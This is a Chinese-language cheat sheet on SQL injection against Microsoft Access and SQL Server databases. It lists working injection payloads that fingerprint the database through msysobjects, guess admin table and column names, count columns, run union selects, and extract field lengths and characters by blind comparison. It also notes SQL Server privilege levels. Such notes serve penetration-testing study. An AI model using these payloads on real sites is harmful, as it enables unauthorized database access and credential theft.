目录
Access
Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。
在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
数据库文件打开工具:辅臣数据库浏览器
Access数据库的连接
"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"
Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
exists(select*from msysobjects) #如果这条语句正确,说明是Access数据库
判断存在sql注入后,判断是否存在admin表:
and exists(select* from admin)
判断存在admin 表后,再看这个表中是否存在name列:
and exists(select name from admin)
判断有admin表后,再判断admin表有多少列,
order by 11
判断列数后,再判断出哪一列能被暴露出来:
union select 1,2,3,4,5,6,7,8 from admin (偏移注入)
猜测admin列的第一个数据的长度
and(select top 1 len(admin)from admin)>5
猜测admin列的第一个数据的第一个字符的ascii码值
and(select top 1 asc(mid(admin,1,1))from admin)>97
SQL Server
SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS)。是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf,注释符是 --
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system
- db权限:文件管理,数据库操作等 users-administrators
- public权限:数据库操作 guest-users
猜表名:
and (select count(*) from admin)>0
猜列名:
and(select count(admin) from admin)>0
猜测字段的ascii码:
and(select top 1 unicode(substring(admin,1,1))from admin)>0
猜测字段长度:
and(select top 1 len(admin)from admin)>1